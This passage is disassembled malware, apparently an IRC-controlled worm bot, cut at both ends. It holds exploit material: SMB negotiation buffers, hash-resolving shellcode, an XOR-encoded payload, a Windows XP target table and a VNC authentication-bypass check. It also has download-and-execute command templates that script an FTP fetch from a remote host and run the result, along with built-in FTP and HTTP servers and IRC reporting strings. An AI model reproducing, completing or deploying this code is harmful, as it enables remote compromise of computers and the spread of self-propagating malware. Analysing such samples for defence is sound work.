PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431D0C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D3C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D48 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D94 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DD8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431ED4 push dword ptr [esi] push 63D61209h call sub_431EEA mov [esi+8], eax call sub_431E9D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EEA mov [esi+0Ch], eax call sub_431E4F push dword ptr [esi+4] push 4C0297FAh call sub_431EEA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DD8 endp ; =============== S U B R O U T I N E ======================================= sub_431E4F proc near ; CODE XREF: sub_431DD8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E78 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E4F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E78 proc near ; CODE XREF: sub_431E4F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E87: ; CODE XREF: sub_431E78+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E94 inc ebx jmp short loc_431E87 ; --------------------------------------------------------------------------- loc_431E94: ; CODE XREF: sub_431E78+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E78 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E9D proc near ; CODE XREF: sub_431DD8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431EB5: ; CODE XREF: sub_431E9D+1Ej cmp [ecx], ebx jz short loc_431EBD mov ecx, [ecx] jmp short loc_431EB5 ; --------------------------------------------------------------------------- loc_431EBD: ; CODE XREF: sub_431E9D+1Aj mov edx, edi loc_431EBF: ; CODE XREF: sub_431E9D+2Aj cmp [edx+4], ebx jz short loc_431EC9 mov edx, [edx+4] jmp short loc_431EBF ; --------------------------------------------------------------------------- loc_431EC9: ; CODE XREF: sub_431E9D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E9D endp ; =============== S U B R O U T I N E ======================================= sub_431ED4 proc near ; CODE XREF: sub_431DD8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431ED4 endp ; =============== S U B R O U T I N E ======================================= sub_431EEA proc near ; CODE XREF: sub_431DD8+16p ; sub_431DD8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431F00: ; CODE XREF: sub_431EEA+33j jecxz short loc_431F3A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431F0D: ; CODE XREF: sub_431EEA+2Dj lodsb cmp al, ah jz short loc_431F19 ror edi, 0Dh add edi, eax jmp short loc_431F0D ; --------------------------------------------------------------------------- loc_431F19: ; CODE XREF: sub_431EEA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431F00 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F3A: ; CODE XREF: sub_431EEA:loc_431F00j ; sub_431EEA:loc_431F3Aj jmp short loc_431F3A sub_431EEA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F40 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F92 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F40+38j jecxz short loc_431F8D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F68: ; CODE XREF: sub_431F40+32j lodsb test al, al jz short loc_431F74 ror edx, 0Dh add edx, eax jmp short loc_431F68 ; --------------------------------------------------------------------------- loc_431F74: ; CODE XREF: sub_431F40+2Bj cmp edx, [esp+arg_0] jnz short loc_431F5D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F8D: ; CODE XREF: sub_431F40:loc_431F5Dj mov [esp+arg_0], ebx retn sub_431F40 endp ; =============== S U B R O U T I N E ======================================= sub_431F92 proc near ; CODE XREF: sub_431F40+7p ; FUNCTION CHUNK AT 00431FCA SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431FAB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431FB6 ; --------------------------------------------------------------------------- loc_431FAB: ; CODE XREF: sub_431F92+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431FB6: ; CODE XREF: sub_431F92+14j pop edi xor esi, esi pusha push esi jmp short loc_431FCA sub_431F92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431FBD proc near ; CODE XREF: sub_431F92:loc_431FCAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431FBD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F92 loc_431FCA: ; CODE XREF: sub_431F92+29j call sub_431FBD loc_431FCF: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F92 ; --------------------------------------------------------------------------- dw 0 dword_431FD4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FE0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FE4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FE8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FF4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FFC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FFC dd 0 ; CODE XREF: ___:loc_431FF4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432068 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432074: ; CODE XREF: ___:0043207Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432074 inc edi jz short loc_4320BB and eax, 952CE753h inc esp jle short loc_4320E3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_4320BB: ; CODE XREF: ___:00432081j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_43211A+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0043210Dj xor [esi-25h], bl loc_4320E3: ; CODE XREF: ___:00432089j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320FC: ; CODE XREF: ___:0043212Fj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320E0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_43211A: ; CODE XREF: ___:004320C1j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_4321A6 jo short loc_4320FC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43213D+1 add bl, [edi] loc_43213D: ; CODE XREF: ___:00432139j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432152+2 cmp ch, bh dec edx loc_432152: ; CODE XREF: ___:0043214Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_4321A6: ; CODE XREF: ___:0043212Dj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_43222C sub al, 0BCh jmp near ptr 5445259Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_4321C8 dd 0EFFFC481h, 44FFFFh, 432214h ; DATA XREF: ___:0040DC32o dword_4321D4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321D8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321DC dd 258h ; DATA XREF: ___:0040DC28r byte_4321E0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321F8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321E4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_43222C: ; CODE XREF: ___:004321B0j push eax xor al, 29h loc_43222F: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432238 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43224C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322F4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433538 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43353C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437CA0o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437CACo unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_433824 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43384C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A6C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433AA4 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AD8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F80 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433FC4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_43402C db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434074 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_4340B4 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340F8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_434124 db 2Dh ; - ; DATA XREF: ___:00410981o db 